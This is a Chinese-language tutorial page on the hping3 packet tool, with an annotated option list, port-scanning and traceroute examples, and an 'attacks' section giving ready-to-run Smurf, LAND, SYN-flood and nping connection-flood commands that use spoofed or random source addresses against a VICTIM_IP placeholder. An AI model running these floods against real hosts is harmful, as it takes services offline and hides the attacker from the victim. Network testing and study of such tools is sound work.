hping3


帮助文件

usage: hping3 host [options] 
-h --help show this help

-v --version show version -c --count packet count  #显示发送的数据包数目 -i --interval wait (uX for X microseconds, for example -i u1000)#设定数据包间隔时间uX中的X表示微秒 --fast alias for -i u10000 (10 packets for second)#等同于-i u10000 --faster alias for -i u1000 (100 packets for second)#等同于-i u1000 --flood sent packets as fast as possible. Don't show replies. #尽快发送数据包,不显示回复 -n --numeric numeric output #数字化输出 -q --quiet quiet #安静模式 -I --interface interface name (otherwise default routing interface)#指定网卡接口 -V --verbose verbose mode #详细模式 -D --debug debugging info #调试信息 -z --bind bind ctrl+z to ttl (default to dst port)#绑定ctrl+z到ttl(默认为目的端口) -Z --unbind unbind ctrl+z #取消绑定ctrl+z --beep beep for every matching packet received #接收到匹配数据包时蜂鸣提示 Mode #模式选择 default mode TCP #默认TCP模式 -0 --rawip RAW IP mode #原始IP模式,发送的数据包带IP头 -1 --icmp ICMP mode #会发送IGMP应答报文,关于IGMP请看我的另一篇随笔IGMP -2 --udp UDP mode -8 --scan SCAN mode.#扫描指定端口 Example: hping --scan 1-30,70-90 -S www.target.host -9 --listen listen mode IP -a --spoof spoof source address #源地址欺骗,伪造ip攻击,防火墙无法记录到真实IP,但同时自身无法接受到回应的包 --rand-dest random destionation address mode. see the man. #随机目的地址 --rand-source random source address mode. see the man. #随机源地址 -t --ttl ttl (default 64) #指定ttl值,默认64(ttl:生存时间值,包允许通过的最大网段数量,超过会被路由器丢弃) -N --id id (default random) #hping中的ID,默认随机 -W --winid use win* id byte ordering -r --rel relativize id field (to estimate host traffic) -f --frag split packets in more frag. (may pass weak acl) #设定数据包分段大小,将数据包拆成更多的碎片(默认16字节),测试对方的碎片处理能力 -x --morefrag set more fragments flag #设置很多的分段标志,泪滴攻击 -y --dontfrag set don't fragment flag #设置不分段标志,发送不可恢复的IP碎片,可用来检测对端的MTU(最大传输单元) -g --fragoff set the fragment offset #设置片偏移 -m --mtu set virtual mtu, implies --frag if packet size > mtu #设置虚拟MTU值,大于MTU的时候分段 -o --tos type of service (default 0x00), try --tos help -G --rroute includes RECORD_ROUTE option and display the route buffer #记录IP路由,并显示路由缓存 --lsrr loose source routing and record route #松散源路由 --ssrr strict source routing and record route #严格源路由 -H --ipproto set the IP protocol field, only in RAW IP mode#设置IP协议字段,尽在RAW模式下使用 ICMP #ICMP模式 -C --icmptype icmp type (default echo request) #ICMP类型(默认回显请求) -K --icmpcode icmp code (default 0) #ICMP代号(默认0) --force-icmp send all icmp types (default send only supported types)#强制ICMP类型 --icmp-gw set gateway address for ICMP redirect (default 0.0.0.0) #设置ICMP重定向网关地址(默认0.0.0。0) --icmp-ts Alias for --icmp --icmptype 13 (ICMP timestamp)#ICMP时间戳 --icmp-addr Alias for --icmp --icmptype 17 (ICMP address subnet mask) #ICMP子网地址 --icmp-help display help for others icmp options UDP/TCP -s --baseport base source port (default random) #设置源端口,默认随机 -p --destport [+][+]<port> destination port(default 0) ctrl+z inc/dec # -k --keep keep still source port #保持源端口 -w --win winsize (default 64) # -O --tcpoff set fake tcp data offset (instead of tcphdrlen / 4) #设置伪造的TCP偏移量(取代tcp地址长度除以4) -Q --seqnum shows only tcp sequence number #仅显示tcp序列号 -b --badcksum (try to) send packets with a bad IP checksum many systems will fix the IP checksum sending the packet so you'll get bad UDP/TCP checksum instead.
#尝试发送具有错误IP校验和的的数据包,许多系统会修复发送数据包的IP校验和,因此你会得到一个
错误的UDP/TCP校验和
-M --setseq set TCP sequence number #设置TCP序列号 -L --setack set TCP ack #设置TCP的ack -F --fin set FIN flag -S --syn set SYN flag -R --rst set RST flag -P --push set PUSH flag -A --ack set ACK flag -U --urg set URG flag -X --xmas set X unused flag (0x40) -Y --ymas set Y unused flag (0x80) --tcpexitcode use last tcp->th_flags as exit code #使用tcp->th_flags作为退出码 --tcp-mss enable the TCP MSS option with the given value #启动具有给定值的TCP MSS(最大报文段大小)选项 --tcp-timestamp enable the TCP timestamp option to guess the HZ/uptime #启用TCP时间戳来猜测HZ/uptime(运行时间?没有查到资料) Common #通用设置 -d --data data size (default is 0) #发送数据包大小,默认0 -E --file data from file #指定文件数据 -e --sign add 'signature' #添加签名 -j --dump dump packets in hex #转为16进制数据包 -J --print dump printable characters #转为可打印字符 -B --safe enable 'safe' protocol #启用安全协议 -u --end tell you when --file reached EOF and prevent rewind #指定EOF(文件结尾标志)防止倒回 -T --traceroute traceroute mode (implies --bind and --ttl 1) #traceroute模式 --tr-stop Exit when receive the first not ICMP in traceroute mode #在traceroute模式下当收到第一个不是ICMP时推出 --tr-keep-ttl Keep the source TTL fixed, useful to monitor just one hop #保持源TTL固定,仅监视一跳时很有用 --tr-no-rtt Don't calculate/show RTT information in traceroute mode #不要在traceroute模式下计算或显示RTT(TCP的往返时延)信息 ARS packet description (new, unstable) #ARS(?没查到)包描述,新功能,不稳定 --apd-send Send the packet described with APD (see docs/APD.txt) #apd(?没查到)

 扫描

测试ICMP

类似于ping,发送ICMP-echo,接收ICMP-reply

hping3 -1 0daysecurity.com

使用ICMP的traceroute

类似于tracert(windows)和traceroute(linux),他们使用ICMP数据包,ttl值每次加1

hping3 --traceroute -V -1 0daysecurity.com

检查端口

将syn包发送给指定端口(这里是80),还可以控制从哪个本地端口开始扫描(5050)

hping3 -V -S -p 80 -s 5050 0daysecurity.com 

到指定端口的路由跟踪

Hping3的一个不错的功能是您可以执行到指定端口的路由跟踪(traceroute),以观察包被阻塞的位置。可以通过在最后一个命令中添加--traceroute来完成。

hping3 --traceroute -V -S -p 80 -s 5050 0daysecurity.com

其他类型的ICMP

此示例发送ICMP地址掩码请求(类型17)。

hping3 -c 1 -V -1 -C 17 0daysecurity.com

其他类型的端口扫描

我们将尝试的第一种类型是FIN扫描。在TCP连接中,FIN标志用于启动连接关闭例程。如果我们未收到回复,则表示该端口已打开。通常,防火墙将RST + ACK数据包发送回以表明该端口已关闭。(TCP/SYN/FIN扫描

hping3 -c 1 -V -p 80 -s 5050 -F 0daysecurity.com

ACK扫描

此扫描可用于查看主机是否还活动(例如,当Ping被阻止时)。如果端口打开,这应该发送回RST响应。

hping3 -c 1 -V -p 80 -s 5050 -A 0daysecurity.com

Xmas扫描

此扫描将序列号设置为零,并在数据包中设置URG + PSH + FIN标志。如果目标设备的TCP端口已关闭,则目标设备将发送TCP RST数据包作为答复。如果目标设备的TCP端口已打开,则目标将放弃TCP Xmas扫描,不发送答复。

hping3 -c 1 -V -p 80 -s 5050 -M 0 -UPF 0daysecurity.com

NULL扫描

此扫描将序列号设置为零,并且在数据包中未设置任何标志。如果目标设备的TCP端口已关闭,则目标设备将发送TCP RST数据包作为答复。如果目标设备的TCP端口已打开,则目标将放弃TCP NULL扫描,不发送任何答复。

hping3 -c 1 -V -p 80 -s 5050 -Y 0daysecurity.com

攻击

Smurf攻击

这是一种拒绝服务攻击,它通过欺骗性广播ping消息淹没目标系统,参考smurf攻击

hping3 -1 --flood -a VICTIM_IP BROADCAST_ADDRESS

DOS LAND攻击

同样是DOS攻击的一种,参见land攻击

hping3 -V -c 1000000 -d 120 -S -w 64 -p 445 -s 445 --flood --rand-source VICTIM_IP

--flood:尽快发送数据包。不显示回复。

--rand-dest:随机目标地址模式。

-V <-详细

-c --count:数据包计数

-d --data:数据大小

-S --syn:设置SYN标志

-w --win:winsize(默认64)

-p --destport [+] [+] <port>目标端口(默认为0)ctrl + z inc / dec

-s --baseport:基本源端口(默认随机)

DOS攻击

root@kali:~# hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source VICTIM_IP
 HPING VICTIM_IP (eth0 VICTIM_IP): S set, 40 headers + 120 data bytes hping in flood mode, no replies will be shown

-c:发送数据包的个数

-d:每个数据包的大小

-S:发送SYN数据包

-w:TCP window大小?

-p:目标端口

--flood:尽可能快的发送包且不显示过程

--rand-source:使用随机的IP地址,也可用-a或--spoof隐藏主机名

SYN洪水攻击

root@kali:~# hping3 -S --flood -V VICTIM_IP
using eth0, addr:VICTIM_IP, MTU: 1500 
HPING
VICTIM_IP (eth0 VICTIM_IP): S set, 40 headers + 0 data bytes hping in flood mode, no replies will be shown

TCP连接攻击

root@kali:~# nping --tcp-connect --rate=90000 -c 900000 -q VICTIM_IP

Starting Nping 0.7.80 ( https://nmap.org/nping ) at 2020-05-09 17:06 CST

参考

http://0daysecurity.com/articles/hping3_examples.html #hping3测试防火墙示例

https://blog.51cto.com/professor/1701977 #扫描方式

https://blog.csdn.net/kernel_1984/article/details/88632230 #hping3工具说明

https://www.cnblogs.com/daoyi/archive/2017/04/25/shi-yonghping3nping-shi-xingDoS-gong-ji.html #使用hping3进行DOS攻击


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM